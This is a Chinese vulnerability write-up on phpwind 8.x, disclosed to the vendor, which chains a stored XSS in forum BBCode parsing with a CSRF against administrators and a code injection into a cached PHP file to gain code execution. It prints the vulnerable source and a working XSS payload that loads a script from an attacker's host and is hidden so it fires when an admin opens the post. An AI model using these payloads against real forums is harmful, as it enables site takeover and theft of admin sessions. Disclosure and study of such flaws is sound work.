phpwind8.x某可getshell漏洞

phpwind1111

0x00 前言

漏洞已经通知了官方(http://www.wooyun.org/bugs/wooyun-2016-0220049),官方也已经出了补丁(http://www.phpwind.net/read/3709782)

0x01 帖子正文xss

在文件require/bbscode.php
function convert($message,$allow,$type="post"){
......
	$searcharray = array(
		"/\[font=([^\[\(&\\;]+?)\]/is",
		"/\[color=([#0-9a-z]{1,15})\]/is",
		"/\[backcolor=([#0-9a-z]{1,10})\]/is",
		"/\[email=([^\[]*)\]([^\[]*)\[\/email\]/is",
	    "/\[email\]([^\[]*)\[\/email\]/is",
		"/\[size=(\d+)\]/eis",
		"/\[align=(left|center|right|justify)\]/is",
		"/\[glow=(\d+)\,([0-9a-zA-Z]+?)\,(\d+)\](.+?)\[\/glow\]/is"
	);
	$replacearray = array(
		"<font face=\"\\1 \">",
		"<span style=\"color:\\1 \">",
		"<span style=\"background-color:\\1 \">",
		"<a href=\"mailto:\\1 \">\\2</a>",
		"<a href=\"mailto:\\1 \">\\1</a>",
		"size('\\1','$allow[size]')",
		"<div align=\"\\1\">",
		"<div style=\"width:\\1px;filter:glow(color=\\2,strength=\\3);\">\\4</div>"
	);
	$message = preg_replace($searcharray,$replacearray,$message);
......
}
可以看到 [font=(x)] (x) 不含 [(&\;
 生成 html
 <font face=”(x)”>
 [email](y)[/email] (y) 不含 [
 生成 html
 <a href=”mailto:(y) “>(y)</a>
 因此可以将 [font=(x)] 和 [email](y)[/email] 结合
 生成<a href="mailto:<font face="(x)"> "> <font face="(x)"> </a>
其中 (x) 不包含 [(&\; 组成 xss 这里的 xss 有些技巧,就是属性中不使用 [(&\; 组成可以触发的xss
[email] [font= onmouseover=location=/javascript:alert%28%22xss%22%29%3b/.source  id=xxxxxx d=] xxxx[/font]  [/email]
生成
=<a href="mailto: <font face=" onmouseover=location=/javascript:alert%28%22xss%22%29%3b/.source  id=xxxxxx d= "> xxxx</font>
onmouseover 时触发 要做到隐藏,并且管理员打开就触发,即需要更多技巧 利用系统原生css样式,class=pImg_bg
.pImg_bg {
    background: none repeat scroll 0 0 #000;
    bottom: 0;
    height: 100%;
    left: 0;
    opacity: 0.5;
    position: absolute;
    right: 0;
    top: 0;
    width: 100%;
    z-index: 1001;
}
挡着整个页面,即一打开即触发js。 整个引入js为
[email] [font= onmouseover=location=/javascript:document.getElementById%28%22xxxxxx%22%29.style.display=%27none%27%3bvar%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2F192.168.160.175:8080%2fxxxx.js%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3Bwindow.onerror%3Dfunction%28%29%7Breturn%20false%3B%7D%3Bxxx%3B/.source class=pImg_bg id=xxxxxx d=] xxxx[/font] [/email]
从而引入外部js 192.168.160.175:8080/xxxx.js (大家可以研究下,效果要js不触发url转跳,和影响页面效果,兼容各种浏览器等。)

0x02 后台getshell

从这里可以看到
http://wooyun.org/bugs/wooyun-2015-0153249
 只修复了前台可能的getshell,但没有访问后台添加用户
 /hack/bank/index.php
if (!$bk_per || $timestamp - pwFilemtime(D_P."data/bbscache/bank_sort.php") > $bk_per*3600) {
		$_DESPOSTDB = array();
		$query = $db->query("SELECT i.uid,m.username,i.deposit,i.startdate FROM pw_memberinfo i LEFT JOIN pw_members m ON m.uid=i.uid ORDER BY i.deposit DESC ".S::sqlLimit($bk_num));
		while ($deposit = $db->fetch_array($query)) {
			if ($deposit['deposit']) {
				$deposit['startdate'] = $deposit['startdate'] ? get_date($deposit['startdate']) : '';
				$_DESPOSTDB[] = array($deposit['uid'],$deposit['username'],$deposit['deposit'], $deposit['startdate']);
			}
		}
		$_DDESPOSTDB = array();
		$query = $db->query("SELECT i.uid,username,ddeposit,dstartdate FROM pw_memberinfo i LEFT JOIN pw_members m ON m.uid=i.uid ORDER BY ddeposit DESC ".S::sqlLimit($bk_num));
		while ($deposit = $db->fetch_array($query)) {
			if ($deposit['ddeposit']) {
				$deposit['username'] = str_replace (  array ("\\",'&',' ',"'",'"','/','*',',','<','>','#','%','?',' ','..','$','{','}','(',')','+','=','-','[',']','|','!','@','^','.','~','`'), array ('..', '&', ' ', ''','"','/','*',',','<','>','#','%','?',' ','..','$','{','}','(',')','+','=','-','[',']','|','!','@','^','.','~','`'), $deposit['username'] );
				$deposit['dstartdate'] = $deposit['dstartdate'] ? get_date($deposit['dstartdate']) : '';
				$_DDESPOSTDB[] = array($deposit['uid'],$deposit['username'],$deposit['ddeposit'], $deposit['dstartdate']);
			}
		}
		$wirtedb = savearray('_DESPOSTDB',$_DESPOSTDB);
		$wirtedb.= "\n".savearray('_DDESPOSTDB',$_DDESPOSTDB);
		pwCache::writeover(D_P.'data/bbscache/bank_sort.php',"<?php\r\n".$wirtedb.'?>');
function savearray($name,$array) {
	$arraydb="\$$name=array(\r\n\t\t";
	foreach ($array as $value1) {
		$arraydb .= 'array(';
		foreach ($value1 as $value2) {
			$arraydb .= '"'.addslashes($value2).'",';
		}
		$arraydb .= "),\r\n\t\t";
	}
	$arraydb .= ");\r\n";
	return $arraydb;
}
可以看到 $_DESPOSTDB 的 username 没有过滤 我们可以通过csrf操控管理员在后台添加带有危险代码的帐号,并且通过设置用户金钱,使之排在列表中。 这里还要绕过一个问题,用户名只能15位,最短的代码执行代码${@eval($xxxx)} $xxxx可控变量为5位。 此变更不能GET\POST等带入呀。 但注意到 /hack/bank/admin.php
} elseif($action=="unsubmit"){
	S::gp(array('config'),'P');
	if(!is_numeric($config['open'])) $config['open']=1;
	if(!is_numeric($config['virement'])) $config['virement']=0;
	if(!is_numeric($config['timelimit'])) $config['timelimit']=60;
	if(!is_numeric($config['virelimit'])) $config['virelimit']=500;
	if(!is_numeric($config['virerate'])) $config['virerate']=10;
	if(!is_numeric($config['rate'])) $config['rate']=1;
	if(!is_numeric($config['drate'])) $config['drate']=1;
	if(!is_numeric($config['ddate'])) $config['ddate']=12;
	foreach($config as $key=>$value){
		$rt = $db->get_one("SELECT * FROM pw_hack WHERE hk_name=".S::sqlEscape("bk_$key"));
		if($rt){
			$db->update("UPDATE pw_hack SET hk_value=".S::sqlEscape($value)."WHERE hk_name=".S::sqlEscape("bk_$key"));
		} else{
			$db->update("INSERT INTO pw_hack SET hk_name=".S::sqlEscape("bk_$key").",hk_value=".S::sqlEscape($value));
		}
	}
	updatecache_bk();
可以设置插件时,通过添加 config[v]=code,方式,生成全局变量 $bk_v ,因此命令执行可成。

6-1


0x03 编写js脚本、执行起来

效果如下 [embed]http://v.youku.com/v_show/id_XMTYxMDQwMDAxNg==.html[/embed] 密码 phpwindwooyuna123

0x04 留个问题

新的补丁是否有效?